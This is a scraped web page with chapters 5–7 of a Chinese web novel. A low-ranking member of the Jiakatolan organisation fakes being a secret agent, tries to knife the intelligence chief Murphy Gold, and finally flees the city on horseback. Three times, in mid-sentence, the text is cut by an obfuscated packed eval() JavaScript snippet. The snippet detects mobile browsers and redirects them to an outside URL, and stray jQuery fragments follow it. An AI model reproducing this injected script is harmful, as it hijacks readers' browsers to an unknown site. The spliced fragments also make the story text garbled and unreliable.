“我怎么知道?!我只和他一起吃过东西。”这简直是天大的冤枉,他怎么能被当做同伙!
“那倒是奇怪了。”摩菲·戈尔德一手撑脸,笑了笑,眼底却不见笑意,“作为间谍,他总有交接对象,偏偏整个组织里,和他交往最为密切的一共就两个人,一个是和他一样的间谍。你猜,另一个会是什么身份?”
乌镶月理直气壮:“当然是暗恋者!”
“对,肯定也是……等等,你说什么?”
一直游刃有余的红发青年卡壳了,像是听见什么不可思议的话,绿色的眼瞳都扩大了。
“我说他暗恋我!”乌镶月继续发挥睁眼说瞎话的天赋,“因此他才总是来打探我的喜好,还带我去各种地方吃饭,不然你以为他为什么老缠着我。”
摩菲这时已经从冲击性的事实里回神,冷笑一声,“你明白间谍的意思吗?一个潜入敌方的人,怎么可能会有心思谈情说爱,而且你还是个刚成年不久的男人,即使胡扯,你也该找个更合适的理由。”
“我可没有胡扯。”
黑发少年镇定地反驳,“这世上又不是所有间谍都一样。他喜欢我,我只是被他追求的人,我没有出卖过组织,也没有做间谍,你抓错人了。”
见他这么冷静沉着,摩菲心头疑惑更大了。
到底是因为这位间谍的伪装手段高超,还是对方说的是事实?
他忍不住细细打量面前自称被暗恋的少年。
黑头发,白皮肤,骨架纤瘦,手指修长,大概不是北方人。
一双漆黑的眼瞳,睫毛密密的,右眼下方两颗并列的小痣,盯着人的时候有种缱绻的味道。
摩菲·戈尔德垂下眼眸,忍不住摩挲了下指尖。
“或许你说的有一点道理。”
乌镶月喜出望外,没想到真说动他了,“那……”
“但这只是你一面之词。”红发青年恢复了之前笑不达眼底的状态,“另一位当事人的说法,我还没有听过呢。”
听了就完了!
乌镶月立马说:“他对我爱得深沉,现在作为间谍被抓,他肯定会为了撇清关系,说根本没有喜欢过我。”
“这就不必你担心了。带他回去。”
说完这话,摩菲·戈尔德就挥挥手,想叫人把他带下去。
回去,回哪里?
乌镶月顿时慌张起来,他压根不想回忆十几分钟前的事,如果要他回到那里等着饿死,还不如现在就和摩菲拼了。
“等等,等一下,我不能回去,我、我还有一件非常重要的事,没有说。”
在再次被两个大汉夹击,拖回暗无天日的地下牢房前,他挣扎着喊出声,“我、我知道你的事,摩菲·戈尔德大人!”
无动于衷,甚至都快走到审讯室外的红发青年停住了。
他叫停了大汉们,才看向一脸惊魂未定的黑发少年,“你知道我的身份?”
口吻里带上了比之前更甚的怀疑。
摩菲·戈尔德没有自我介绍,他也不需要向一个审讯对象自我介绍,普通底层成员理应是不知道他的。
乌镶月清楚这回要是回答得不好,恐怕连回去的选项都没了。
他咽了口口水,瞥了眼旁边的大汉们,“这件事,您确定要我现在就说吗?”
摩菲一挑眉,无所谓地嗤笑一声,让大汉们和看守一起离开了。
整间审讯室里,只剩下他们两人。
“你应该清楚,现在攻击我是自寻死路,我希望你不要这么愚蠢。”
说话的红发青年,手中不知何时出现了一把小刀,灵活地在指尖翻转,似乎下一秒就能扎入某个人的身体。
直接面对威胁,乌镶月反而冷静了许多。
他快速回忆了下自己所知的事,张口就来,“其实我是无相大人的手下。”反正无相大人死了,也没人会来否定。
“手下?”摩菲·戈尔德眼底划过一道锋芒,“作为加卡托兰的一员,我们自然都是无相大人的手下。”
这明显是想打探更多信息的意思,乌镶月心知肚明,却没办法,只能把话说得更清楚,“我是暗桩。专门在暗地里为无相大人做事的。”
“暗桩?你?”
红发青年的视线在他身上绕了一个圈,怀疑之色溢于言表。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845864|175778||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
怎么了怎么了,小喽啰就不能当暗桩了吗?这是歧视!
他忍下吐槽,换了个说法,“我知道无相大人今天去了我们的大本营。”
“这不能证明什么,很多人都看见了。”
“对。”乌镶月知道这话说出口就没法挽回,但他必须说,以挽回自己的小命,“但无相大人也说了,之前原定的计划作废,他要更改计划。”
这就不可能是一般的小喽啰能知道的事了。摩菲·戈尔德眼神微闪。
今天在会议室里的人一共三个。除去他自己,就只剩颜诡和无相。
颜诡那家伙诡计多端,指不定憋着什么坏,但不可能把消息泄露给间谍。这一点无相也一样。
间谍的嫌疑可以排除。
但问题是……
“既然你是无相大人的手下,为什么不一开始就说?”
当然是因为你这个混蛋,压根不信我是无辜的,要把我和吃人的家伙放一块,才逼得我不得不捏造身份啊!
乌镶月恨不得一口老血,喷在这个罪魁祸首身上。
但他不能。
“我在执行秘密任务,无相大人希望我不要透露身份。您如果继续追问下去,大概要不了多久,无相大人也会知道您在打探他了。”
这是一个赌。
从今天上午的态度来看,颜诡和摩菲都不敢过多打探无相的事,即使无相说时机未到,也都没有追问。
在这种情况下,他说这是无相大人给的秘密任务,摩菲有一半的可能会放弃追问。当然,也有另一半可能惹怒摩菲,直接把他宰了。他更倾向于前者。
果然,红发青年的笑意淡了几分,“既然如此,我确实不好追问。”
乌镶月松了口气。
“但无相大人没有说过,我不能从旁协助,对吧?”
一口气差点卡在喉咙,他瞪圆了眼睛,反驳,“当然不行!”
“有什么不行?”
摩菲看他的眼神又带上了探究,“我和你一样,都是无相大人的手下,即使他不愿意让我知道任务的具体内容,也不会拒绝我帮忙让任务更进一步。”
说是这么说,但又没有这个任务,根本不需要你帮忙啊。
乌镶月紧急转动脑筋,想要给出一个完全不行的理由,摩菲却好像看出了他的心思,先一步开口。
“你这么不情愿,到底是因为你不愿意我抢走功劳,还是说……根本没有这个任务?”
他浑身汗毛倒竖,下意识回答:“当然是你会抢走我的……不对,这个任务是对我的考验,我不需要你的帮忙。”
可恶的家伙,故意给了二选一的选项,想骗他踏入陷阱。
“你不用担心,我对抢功劳毫无兴趣。”红发绿眸的青年扬起一抹爽朗的笑容,“但你继续拒绝下去,只会让我不禁好奇,到底是什么任务需要如此保密。哎呀,说不定会产生即使得罪无相大人,也要暗地里看一看的想法了。”
乌镶月:“……”
这是威胁,毫不掩饰的威胁。
他现在更加深刻地认识到,面前的人不只是上午和颜诡互相斗嘴的青年,还是以情报专家的名声活跃在加卡托兰的男人。
“……好。”最终,他从牙缝里挤出了一个字。
“那真是太好了。”摩菲·戈尔德伸出手,快速又公式化地握住他的,“那祝合作愉快?”
“合、作、愉、快。”
5. 第 5 章
“那么,下一步要做什么?”
我怎么知道!乌镶月很想这么回答,奈何问话的红发青年,压根不是能用这个回答打发的人。
自从被放出来开始,摩菲·戈尔德就极其自然地跟在了他身后,美其名曰帮忙。
实则和监视没什么两样。
乌镶月瞥见红发绿眸的青年一脸亲和地与路人交流,讨论最近的粮食价格等问题,只想骂一句人模狗样。
呸,这人还挺会装,刚刚在审讯室里可不是这个样子。
一想到审讯室,他就联想到那个不知道是什么的所谓无相大人派发的任务。
他哪里知道有什么任务?这任务还得有价值,不然根本没有使用他这个暗桩的意义。
可恶,都怪摩菲·戈尔德,如果没有他,他现在早已经包袱款款,远走高飞了。
哪里还用被监视,被看管,还得和一个混蛋一起做任务?
乌镶月闷头直直往前走,想要把摩菲·戈尔德甩掉,对方却不紧不慢地跟过来,好似根本不担心会跟丢。
事已至此……乌镶月盯着摩菲·戈尔德的悠哉悠哉的模样,小反派的心思在蠢蠢欲动……不如杀了他吧。
再怎么厉害,摩菲·戈尔德也是个人类,没有了炼金器具,没有了众多护卫,就是个普通的有一点实力的人类。
这样的人,只要被他引到偏僻处,再略施小计,想要杀死岂不是易如反掌?
他越想越觉得,很有搞头。不仅能有效解决问题的源头,还能回归自由,重新规划逃跑。
“你一脸若有所思的表情呢,有什么坏主意了?”
不知什么时候,摩菲·戈尔德走到了他身后,突然出声吓了他一跳。
“什么坏主意。”乌镶月心虚地大声起来,“我在想那位大人派发的任务,现在我有思路了,你跟我来。”
“去哪里?”
“你不是说不问,只会帮忙吗?”
“对啊,我不会问全部的任务,但总要问清楚执行的部分,才能更好地帮忙呀。”
混蛋情报家,尽会搞文字把戏。
乌镶月一想反正待会要干掉这人,就压下了不爽,眼睛一眨就编出了一个谎话。
“我们去找隐藏的探子,他们会在今天接头。”
说罢,贯彻了绝不多说的优良品质,转身往另一个方向走去。
这回是他胸有成竹,完全不担心对方不会跟上来。
摩菲·戈尔德皱了皱眉,果然没有多问。
两人从宽敞的大路,慢慢走到偏僻的小道,又七绕八绕,绕进废弃的贫民区,穿行在狭小到只能侧着身子走过的巷子里。
现在是春天,马挪河城却依旧寒风萧瑟,愁云惨淡的。阳光稀疏,傍晚就黑得特别快。不过走了一阵子,天色就黯淡了许多,更别说狭窄的巷子。衣角摩擦的声音与沙沙的风吹声,总让人有不好的联想。
“这里真是他们接头的地方?”
越走越深,也愈加荒无人烟,气氛也逐渐安静到诡异。红发青年挑了挑眉,似乎终于产生了疑惑。
“当然。”
“你应该知道,你杀不了我吧?”
“……当然。”
两人一问一答间,好似一片相安无事,没多久,他们走出弯弯绕绕的巷子,来到一处摇摇欲坠的楼房旁。
“他们会在这里交接。”乌镶月指了指前方不远处,又指了指楼房,“我们在这里等,不容易被发现。”
贫民区的很多房子都这样,搭建的时候不过是为了有个地方住,杂乱的木材与泥土砖,加一些芦苇茅草就足够。面前这房子破破烂烂,半边墙壁都塌了,一看也是胡乱搭建的高危住房。
要是来一阵大风,说不定一下就能把这房子吹倒。
摩菲略一打量,就否决了提议:“这里不行,太危险了。”
“好,那你选。”一路上都显得独断专行的少年,这时大方让出了决定权。
这反而让摩菲更加警惕,怀疑这里是不是有什么陷阱。但与此同时,他又颇为自傲,相信就这么一个平平无奇的小喽啰,根本不可能伤得了他。
“这里。”用挑剔的目光扫了一圈,摩菲勉勉强强选中了一处高地。周围没有建筑,全靠一块大石头遮挡身形。如果消息属实,从下方往上看,很难察觉上方有两个人。
“好。”黑发少年依旧爽快答应了。
这很奇怪。
摩菲·戈尔德再次打量旁边人的样子,没能看出什么问题。
“你叫乌镶月,对吧。”他记得在资料上看过的名字,一般情况下,他不会对这种底层人员太在意。
“嗯。”
“你为什么加入组织?”
摩菲也记得资料的理由,上面写的是……
“因为仰慕无相大人。”
这不奇怪,事实上组织里因仰慕无相而加入的成员很多。大多都是底层或中层。
“仰慕啊……”摩菲眼眸闪了闪,“你跟在无相大人身边多久了?”
“……这不能说。”
摩菲打量了两眼黑发少年,自然地转换了话题,“无相大人对你看重到这种程度吗?居然连这个也不让说。”
聊天是缓和气氛的好办法,何况其中一方有意调节。两人一同躲在高坡上,氛围忽然变得平常起来,似乎之前隐约感受到的危险都是错觉。
“要是无相大人有很多像你这样的手下,对我们可是个威胁了。”
摩菲开始沿着重视的话题,旁敲侧击无相有多少这种暗桩
“威胁与否,是你决定,而不是无相大人决定的。”乌镶月给出模棱两可的回答,手已经摸向后腰处冰冷的利刃。
红发青年皱眉露出思索的表情,似乎没有注意到旁边少年的神色变化。
乌镶月是杀过人的。
在北屿城还没有被加卡托兰占据,仍然属于贵族统治下的时候,奴隶商人很多。贵族最喜欢的,商人最好卖的,就是容色清丽的少男少女。
乌镶月记得第一次用刀杀死那个奴隶商人的感觉。他那时太小,准头不好,第一下没能刺中要害,让那恶心的家伙有机会喊叫出声。第二下,即使有鲜血腻滑的阻碍,他也稳稳地刺中了。
不是因为他克制了恐惧,而是那把刀实在太好。原本用来割掉舌头、不留难看伤痕的刀,总是很好的。
现在这把刀在他的手中,不再像第一次那样颤抖、冰凉、腻滑。
只需要一刀,划开脖颈,在喷涌的血液中割断出声的喉咙,他就没法呼吸,也没法呼救,更不能再逼问他,夺取他的自由。
杀意凝聚,利刃悬停于红发青年背后。
“来了!”
摩菲·戈尔德骤然出声,惊得乌镶月的气息一乱,下意识把刀藏起来。
“什么?”
他惊魂未定,偷偷往后挪,观察红发青年的动作,警戒对方的反扑。
摩菲挑了挑眉,压低了嗓子,“还能是什么,你带我来抓接头人,现在怎么还惊讶起来了。”
啊?!
乌镶月这回是真惊
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845865|175778||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
讶了,他往下面一瞧,真看见两个鬼鬼祟祟的男人,出现在了之前他指过的空地上。
但这不可能,他明明是瞎说的。难道是摩菲·戈尔德安排的?想套他的话?
乌镶月越想越觉得这里可能藏着一个巨大的阴谋。
但摩菲在一旁看着,他不敢把想法表现出来,只能压下惊讶,继续虚与委蛇:“他们来得比我想象中早一点,不一定是我要抓的那两人。”
不是不一定,是肯定!怎么可能会有那么巧的事!现在摩菲·戈尔德还不动手,可能还有顾忌。
“保险起见,我们还是再等一等……”他要找机会逃跑,不然等摩菲·戈尔德诡计暴露,就完蛋了。
“不必了。”
话还没说完,摩菲突然用手抵住唇,发出了夜莺一样清脆的鸣叫声。
两长一短,连续两次后,哒哒的脚步声从四面八方传来了。
有部队!
乌镶月顿时心惊肉跳,左右环顾,思考现在抓住摩菲·戈尔德要挟的可能性。
下方那两人自然也听见了,当即慌张地往外跑。可已经来不及,一身黑色军装的加卡托兰小队,将他们包围,轻而易举卸下了他们反击的武器,将人抓住了。
这一切仅仅发生在两分钟内。
乌镶月还没为摩菲的奇怪举动惊讶,事情就结束了。
“你……”为什么要抓那两个人?他们不是你安排的吗?
他看向一脸轻松起身的红发青年,感觉自己的嘴里粘黏了胶水,不知道从哪里现在说话是不是自爆,也不知道接下来要怎么跑。
显然,这里全是摩菲·戈尔德的人。
想到这里,他又一阵悚然。这个骗子,根本不是单独一个人跟过来的。
如果刚刚真的刺下那一刀,他真的能够顺利杀死面前这个人,而且全身而退吗?
“嗯?”摩菲发现了他的注视,笑意盈盈,好似安慰,“别担心,功劳不会抢你的,只是帮你抓人,重要的情报还是你提供的,相信无相大人会理解的。”
理解啥,理解他不但假扮自己,还胡乱杜撰任务吗?
乌镶月沉默了一会,眼见着其他人要把那两人带走了,才开口。
“你要把他们带去哪里?”
“当然是审讯室。”
为什么是审讯室?难道是为了戳破他口中的假任务?
乌镶月不知道他在卖什么关子,只能咬牙继续套人设,“但那是无相大人要的人!你不能这么带走他们,他们应该和我走。”
“和你走?”摩菲的眼珠子在他身上转了一圈,“好啊。你和我们同行,他们不就算是和你走了吗。”
“你这是胡搅蛮缠!”乌镶月看得出来,对方不想放人了,他咬了咬牙,好似不情愿地退了一步,“你带走他们也可以,作为交换,你要为我备一匹好马。”
“不。”对方回答得很快,“你现在还不能走。”
被轻易看破了想法,乌镶月神色凝重,越发觉得这人不好对付。
“凭什么?我是无相大人的手下,不是你的手下。我要去找无相大人汇报,你阻拦我,是想违抗无相大人吗?”
“我可没有这个意思。”
掩映的稀薄月色下,红发青年侧过脸,半张脸被黑暗吞没,唯有那双绿莹莹的眼眸,似冷血动物般闪烁着光芒。
“但你真的以为,我会好心到,让一个刚刚想杀我的人若无其事离开?”
他发现了!
乌镶月呼吸微滞,心脏直直沉了下去。
6. 第 6 章
完蛋。
都不知道第几次说了。
但乌镶月所能说的,好像也就这么一句,完蛋。
仅仅隔了一天,他又回到了地下牢房里。
唯一能庆幸的是,似乎想继续看他垂死挣扎,又似乎是看在他无相大人暗桩的这一层身份上,摩菲听了他的据理力争,同意给他分单人牢房,并且送来了食物和水,让他不至于饿死,或者饿到干一些不是人的事。
乌镶月讨厌饥饿,也讨厌变成野兽。
狼吞虎咽吃完了送来的餐食,他躺在地上发呆。地面又冷又硬,还充斥着潮湿发霉的气味,闻久了,好像自己也泡在腐烂的泥土里了。
估计过不了多久,他真要被埋土里,腐烂发臭了。
作为没什么用的小喽啰,乌镶月姑且还有点自知之明。
首先,他欺骗了摩菲·戈尔德,说自己是无相的暗桩,编了一个假任务,结果抓到了两个假探子。
等摩菲·戈尔德审完他们,一定能明白,根本没有所谓的任务,他也不是无相的暗桩。
即使侥幸那两人真是什么探子,他之前想杀摩菲·戈尔德灭口,被逮个正着。光这一件事,就足够摩菲·戈尔德把他大卸八块了。
现在……似乎只剩死路一条了。
乌镶月想着想着,撑不住疲劳的眼皮,大概也因饱餐一顿的莫名安心感,竟不知不觉睡了过去。
叫醒他的不是穿过窗柩的第一缕光,而是哐哐作响的拉门声。
他一个激灵从地上翻起来,手都摸到刀柄了,正好对上开门的肌肉老兄的眼神。
这位大哥他曾经见过的,是一天前带他去审讯室那位。
秉持着伸手不打笑脸人的原则,乌镶月挤出一个笑脸,“早上……好?”
肌肉老兄不语,肌肉老兄一脸冷漠。
然后抓小鸡仔一样拽住他的脖颈子,试图把他直接拖出来。
“疼疼疼!”对方手劲儿太大,乌镶月被衣服勒得差点不能呼吸,当即大喊起来,“好歹同事一场,有我今日,说不定是你的明日啊。如果要死,至少给我个痛快,这样彼此折磨,我做鬼也不会放过你!”
不知道这一堆啰嗦话里,到底哪一句打动了肌肉老兄。
总之,乌镶月没有惨被自己衣服谋杀。
他再次被“请”到了审讯室。
一回生两回熟,何况在看见肌肉老兄的时候,乌镶月就有了预料。
看见一脸闲适、悠哉翘脚的红发青年,他先一步出声了。
“无论如何,我都是无相大人的手下,你如果想杀我,就不怕触怒无相大人吗?”
这是他唯一攥在手中的牌。事到如今,不管有没有用,都得打出来试试。
“哦?”摩菲·戈尔德似笑非笑望着他,“那如果无相大人知道你想杀了我,他会生气吗?”
乌镶月抿唇,目光扫过桌上的纸张与灯台,走近了一步。
“你可以亲自去问他。你叫我来,是为了说这种废话?”
“我以为你知道我为什么叫你过来。”摩菲·戈尔德指了指桌上的纸张,“你的东西。”
什么东西?不会是马上要施加在他身上的酷刑?又或者纸上涂满了毒药,一碰就死?
乌镶月脑中跳跃出一个接一个的阴谋,结局无一例外,全是他啪叽倒地,而摩菲·戈尔德在一旁哈哈大笑。
垃圾高层,想杀人还弯弯绕绕。
“我的……东西?”他缓缓靠近桌子,也距离红发青年越来越近。
在指尖触碰到那一沓纸之前,乌镶月猛然转身,银亮的刀光闪烁,在空中划出锋锐的杀气。
轰隆,外界骤然响起雷声。
惨白的电光穿过云层,窜入了这间狭小的审讯室,一瞬照亮了对峙的两人。
翻倒的椅子旁,黑发少年压在红发青年身上,手中一把锋利的刀刃抵住青年的脖颈,眉头压得极低,漆黑的眼底却是一片死寂,宛如焚烧过后的荒芜平原。
声音却低低的,甚至透出一丝异样的柔和。
“你要赌一赌吗?你先扎穿我的心脏,还是我先割断你的咽喉?”
“呵。”被迫仰着头的摩菲笑了一下,喉结滚动间,擦过锋利的刀锋,便多了一道细小的伤痕。
像是一个轻佻过头的招呼。
但他终究缓缓松开了抵着黑发少年后心的小刀。
——任由其哐当一声掉落在地。
“我现在是真的好奇了。”被完全挟持的男人语气依旧悠然,“你到底为什么对我有那么大的杀心?我自认除了一开始不小心抓错你,后来可没有做错什么,都是你单方面想杀了我吧?”
两人贴合得太近,摩菲·戈尔德说话时的胸腔起伏、发音的震动都能清楚感受到。
乌镶月厌恶地拧眉,却没有放下刀,目光望向审讯室外,思考该怎么利用摩菲·戈尔德逃出去。也多亏他们没有把他放在眼里,连武器也不搜查,就这样关他进去了。
这是下策,但他除了这个办法,也没有别的方法了。谁叫他既没有会担心他生死的父母亲朋,也没有能招呼命令的下属仆从。
他只是个小喽啰,唯一值钱的,唯一拥有的,也就是这条命和微不足道的自尊心了。
“乌镶月。”摩菲·戈尔德忽然喊了一声他的名字,似乎是不满他的沉默,“你一直把无相大人挂在嘴上,难道不觉得现在需要考虑一下,杀了我,该怎么向无相大人解释吗?”
解释个屁!无相都在下面等你了!
“闭嘴!”乌镶月粗暴地将刀嵌得更深了几分,顿时划出了一道红艳艳的小溪。
他烦的不止是摩菲喋喋不休的话语,罔顾生死的态度,更是对方每说一句话,就不断震动的胸腔频率。
太鲜活了,也太真实了。
好像在说,他要杀的,真的是一个和他一样,会呼吸会说话会动的人。
摩菲·戈尔德仅仅安静了一会,又开始不知死活地叭叭:“你不愿意让我做个好死鬼,我却得完成约定。在杀我之前,你总得看看那份资料。不然我们昨天辛苦抓到的探子,可一点用也没有了。”
探子的资料?
胡扯八道,探子真不真他能不知道吗?
乌镶月冷笑一声,“你在那上面到底下了什么毒,威逼利诱也要让我碰。”
“下毒?”摩菲·戈尔德一顿,忽然明白过来,“你以为我会报复昨晚的事,因此杀你?”
“你做了什么你自己清楚。既然你想拿,那你去拿来!”
乌镶月用下巴点了点,刀尖一寸未离,支使摩菲·戈尔德去拿散落在地的资料。
红发青年莫名其妙闷笑了两下,伸手在地上摸索了片刻,捏住资料的一角,递了过来,“大人请看吧。”
语气恶心巴拉的。
乌镶月让他举着资料不许动,目光随意扫了两眼,实际在等毒发的时刻。
纸张上肯定有毒。等毒发到这人说不出话,他就大喊救命,然后趁着其他人抢救摩菲·戈尔德,乱作一团的时候逃跑。
计划是这么计划的,但他看清资料上的字,还是有一瞬间觉得这世界疯了。
上书——“帝国军提前行动情况汇报”。
第一页就写清楚了,这是从昨
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845866|175778||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
晚那两人嘴里问出来的。因为帝国军打探到了他们之前的计划,因此做出了提前行动的决断。他们两人交接是为了将消息传递给潜伏的其他人,好在关键时刻引发混乱,背刺加卡托兰。
乌镶月越看越觉得离谱。
不是,昨晚那两个倒霉蛋,还真是探子?
而且还真的是来交接重要情报的?
不,这不可能。
“你在骗我。”乌镶月恶狠狠瞪向红发绿眼的青年,他知道这人擅长情报战,现在弄个假情报也是轻轻松松,“你有什么阴谋?”
奇怪的点在于,骗他有什么用?
已知他的假身份是无相大人的暗桩,他需要一份从探子那里的情报。所以制造这份假情报,是为了让他被无相大人惩罚?
摩菲·戈尔德表情没什么变化。
“你是无相大人的暗桩,我没有必要骗你。要杀我的人很多,你不过是其中之一,大可不必担心我的报复。证据就是,如果这份资料下毒了,现在我应该已经死了。另外,你现在最重要的,不是杀了我,而是把这份情报安全交给无相大人。他需要这份资料,并在接下来的战役中发挥作用,你应该明白孰轻孰重。”
这一番话下来,好像他才是那个大难临头还不知轻重,只在意私人恩怨、毫无道义的家伙了。
啊呸,尽会花言巧语!说的那么好听,前天对无相大人不是还多番试探。
乌镶月短暂恼火后冷静下来。
而且,这一切的前提是,无相没死。
他清楚得很,这份资料即使送出去,也到不了无相手上。只有他这个假货,不仅对计划一无所知,还打算逃跑。
“我当然知道要怎么做。”他眼珠一转,换了思路,“但我不相信你。你需要向我证明,你没有骗我,也没有欺瞒无相大人。”以防万一,他还拿了无相做筏子。
“证明?”摩菲·戈尔德似乎觉得好笑,也确实笑了两声,“无相大人一看就能明白这份资料的真假。你作为他的暗桩,应该知道,对无相大人来说,根本不需要证明。”
鬼知道啊。乌镶月垂下眼睫,暗暗记住这件事,“他知道。但我不知道,你说不想杀我,可在资料里做一点无关紧要的假,让无相大人发现,导致我吃一点教训这种事,应该做得到吧。”
红发青年的表情一瞬间僵了下,又扬起笑,破罐子破摔似的。
“你想杀我,我回以教训,怎么看,都是我亏了呀。”
“是吗?”
不知道什么时候,黑发少年捡起了掉落的小刀,冰冷的触感划过他的脸颊,像一条小蛇,最后停在他的眼睛上。
浅薄的刀尖对准翠绿的眼眸,似乎下一秒就能扎入。
“那我们来详细聊一聊吧,你到底在这份资料写了什么。如果说的好,我会给你留一只眼球,如果不好……”
少年笑了笑,弯起的眼眸里,藏起漆黑的恶意与杀气。
“你可以选择,还能留下什么。”
啪嗒、啪嗒,自高空而来的水珠于一墙之隔,摔落成千万片。
摩菲·戈尔德一瞬间瞳孔骤缩,又忍不住舔了舔唇,发出一道气音,“呵。”
他好像确实小看他了。
自称暗桩的组织底层少年,像一眼望到底的普通人,资料上记载的短短文字毫无异常,却又好像藏了秘密,正如此刻抵在脖颈前,那把过分锋利的刀。
让人忍不住在战栗之余,产生一点轻微的、致命的好奇。
于是这一刻,血液逆流,心跳乱套的响动,宛如一场急促的春雨。
预示着某些事物,即将破土而出。
7. 第 7 章
经过种种曲折,乌镶月得出了结论。
——摩菲·戈尔德真的相信了他是无相的暗桩,并且没有想杀他的意思。
至少暂时是这样。
管它是不是阴差阳错下的结果,乌镶月立刻放弃了下策,也不威吓要戳瞎人了,找摩菲·戈尔德要了一匹马和若干物资,宣称自己现在要把消息赶紧给无相大人。
摩菲·戈尔德给了一匹马,却没有给物资。
“以无相大人以往联系我们的频次来看,他不会在太远的地方。你要这么多物资,会让人怀疑你是畏罪潜逃的。我这是在好心帮你。”
红发青年一本正经这么说,不知道有意无意说了畏罪潜逃这个词,但在乌镶月耳朵里,就是纯粹的挑衅。
“谁信你好心。”他嘀咕了一句,到底没有强求物资。
他的本意就是拿到马,然后跑得远远的。之后任凭洪水滔天,也和他没有关系了。
“说起来,忘了向你道歉。之前抓你的事,是我推测有误。”
临走前,摩菲·戈尔德忽然来了这么一句,“我已经审问过杰夫·李德,你不是和他一样的间谍。他承认只是因为喜欢你,追求你才不断找你吃饭。”
欸?
外面在淅淅沥沥下小雨,难得的潮湿感,却让人觉得越发冷了。
乌镶月牵着棕色的马,一脸茫然地走出了阴暗的关押区域。
杰夫·李德,之前那个牵连他的间谍,居然,真的喜欢他?那位兄弟不是和他一样的美食爱好者才总是一起吃饭的?
最重要的是,那不是他胡编乱造的事吗?
他忍不住回忆这两天发生的事,他说杰夫喜欢他,结果杰夫真的喜欢他。他说会有两个探子在贫民区交接,结果真的出现了两个探子。
“难不成……我拥有了某种特殊的能力?”
比如传说中的言灵?
一想到这点,乌镶月连逃跑的事都不急了,当即热血上头,想要试验一下这份新获得的能力。
正好他走到了原本住宿的楼下。
也不知道他被抓走的那天,汤姆和其他人说了些什么,徘徊在这附近的加卡托兰成员,一个个看他的眼神都古怪得很,平时还有人和他搭话,今天一路走来,竟一个都没有了。
乌镶月不觉得多失落,但不想被当猴子一样看,当即小声说,“我的包袱会被人送出来给我。”
试试言灵的效果,如果包袱真的被送出来,他就不用再上去一趟,迎接更多人的视线了。
一分钟、两分钟……五分钟,衣服都被雨水打湿透了。
什么都没有发生。
难道是声音不够大?可之前也没有多大声音啊。那是说辞的问题吗?不清楚。
总归是得试试。乌镶月清了清嗓子,大声道:“有人会送我的东西出来给我!”
这话一出,周围人都被吓了一跳。你看看我,我看看你,不知道他在说谁,也不知道他说给谁听。
“他怎么回事?”
“谁知道?之前汤姆不是说他可能是间谍吗?”
“现在这么光明正大,还胡言乱语,难道脑子被审坏了?”
旁人的议论传入耳中,即使是自诩脸皮厚的乌镶月,也忍不住恼羞成怒。
可恶,我就知道汤姆在造谣生事!
他不想继续在楼下等了,当即冲上三楼,跑回了房间。
然而一看清房间内的模样,乌镶月心下一凉。
房间内摆设东倒西歪,宛如台风过境,把所有值钱的玩意卷了个干净,就剩下几件被踩了几脚的旧衣服,和不值钱的小摆件还在了。
他知道自己这是遭贼了,火冒三丈跑出门外,冲着下方喊,
“你们谁偷拿了我的东西!交出来!不然我喊处刑队的人来了!”
楼内无人应答。
有人看他一眼,又漠然移开视线。有人好奇观望,默不作声。有人则嬉笑出声,有意讽刺。
“谁知道你东西去哪了?都被处刑队抓走的人了,能活着回来算你命大,你那堆破烂玩意,随便谁都能捡走。”
乌镶月当即把矛头对准那人。
“这么说,就是你偷走了我的东西?组织内有规定,如果有公然偷盗者,一律关进刑法所!”
“你胡说八道什么!”
被这么一威胁,那人的神色当即慌张了起来,看向其他面露怀疑的人,“不是我!我才没偷他的东西。这两天他的房门大开,谁都能进去转一圈,谁知道是哪个拿走了东西,我只不过说了事实,怎么可能是我!”
乌镶月越听越气,他当时被生拉硬拽走的时候,来不及关上门,以为至少会有人帮忙看顾,没想到这些人已经认定他回不来,竟然这么随意就拿走了他的家当。
“行,你们都不说,那就等着处刑队的人来调查吧!”
他抄起房间里剩下的几件东西,关上门,狠狠瞪了他们一眼,就披上雨衣,冲到了外面。
这里待不下去了,他得去其他地方。
乌镶月翻身上马,朝着城外闷头跑了一阵子。
雨水打湿世界,灰蒙蒙的天气里,他像是从一场云雾,穿梭到另一场云雾。
马蹄声扬起,踏碎水洼,他俯趴在马背上,眼见出了城,却忽然不知道该往哪里去了。
即使是治下严谨的加卡托兰里,还是会发生欺凌、盗窃与抢夺。他不去找处刑队,是知道这件事寻常到他们根本不会管。
其他地方会更好吗?
会有地方住,有面包吃,还能够容纳他这样,没有来路、没有出身、也没有一技之长的小喽啰吗?
乌镶月猛地拉紧了缰绳,棕马嘶鸣一声,高高扬起蹄子,又原地踱了两步,停了下来。
他直起身子,回望刚才迫不及待想要逃离的那座城市。
